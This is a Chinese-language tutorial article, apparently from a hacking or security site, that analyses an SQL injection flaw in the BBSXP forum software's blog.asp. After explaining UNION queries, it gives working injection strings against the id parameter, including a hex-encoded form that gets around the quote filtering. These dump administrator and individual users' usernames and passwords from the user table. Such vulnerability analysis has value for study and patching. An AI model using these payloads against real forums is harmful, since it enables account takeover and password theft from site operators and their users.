最近BBSXP论坛可以说是一点都不平静。漏洞一个接一个暴出来。上次对showforum.asp这个文件的漏洞分析过后,没多久,又暴出blog.asp存在漏洞。于是俺这个菜鸟的心再不能平静了,不要每次都等着人家给我们找漏洞,咱自己也来分析一把看看。
首先,我们回顾一下showforum.asp中的漏洞,还记得order变量,是经过了HTMLncode过滤了以后才放到SQL语句中去执行的。再来看看blog.asp中出漏洞的地方:
id=HTMLEncode(Request("id"))
if id<>"" then
sql="select * from [calendar] where id="&id&" order by id Desc"
id变量同样是经过了HTMLEncode过滤了以后,就放到了SQL语句中去了。利用的方法是构造一个特殊的id变量,使用UNION查询将密码暴出来。
小知识:UNION查询的基本介绍
使用UNION可以将多个查询结果合并起来时,系统会自动去掉重复的记录。参加UNION操作的各结果表的列数必须相同;对应项的数据类型也必须相同;
select top 1 username,userpass from [user] union select ’test’,’12345’ from [clubconfig]
――这里加上了单引号是表示里面的数据为字符型,为了和前面的username和userpass的类型对(在ACCESS中则没有这么严格的要求,数据类型不一致的话,不会导致SQL语句出错)上。在海洋2006的数据库操作里执行的结果如下(图1):
screen.width-461) window.open(’/Article/UploadFiles/200507/20050722220746428.jpg’);" src="/college/UploadPic/2006/8/27/2006827232628179.jpg" width=564 onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>
原理学习与分析
了解了union查询,我们就可以构造这个id了。如:id=-1 union select 1,2,3,4,5,6,7 from [user] where membercode=5
还原完整的SQL语句是这样的:
select * from [calendar] where id=-1 union select 1,2,3,4,5,6,7 from [user] where membercode=5 order by id Desc
此SQL前半部分会因为id=-1而什么也查不出来,然后,1~7这7个数字是因为calendar这个表中有7个字段。那么大家可以看到如图的结果。(图2)
screen.width-461) window.open(’/Article/UploadFiles/200507/20050722220807132.jpg’);" src="/college/UploadPic/2006/8/27/2006827232628948.jpg" width=564 onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>
其中能显示出来的数字(比如3和4),可以改为字段名username和userpass。因为有membercode=5做条件,所以可以将级别为社区区长的用户名和密码查出来。(图3)当然,如果想查特定用户的密码也是很容易的,把username作为限制条件就可以了。不过要注意的是,HTMLEncode函数过滤了单引号,所以要用十六进制转换一下。把语句改为:
id=-1 union select 1,2,userpass,4,5,6,7 from [user] where username=0xD3C3BBA7
其中0xD3C3BBA7是“用户”的十六进制写法。如果是数字和英文的话,记得每一个字符需要用四个字节来表示,比如“1”要写成0x3100。这和上次的一样。有一个不一样的地方是,上次我们用了DECLARE @cmd sysname,并且将空格转换为了“+”号,后来实践后发现是没有必要的。所以特别提出一下。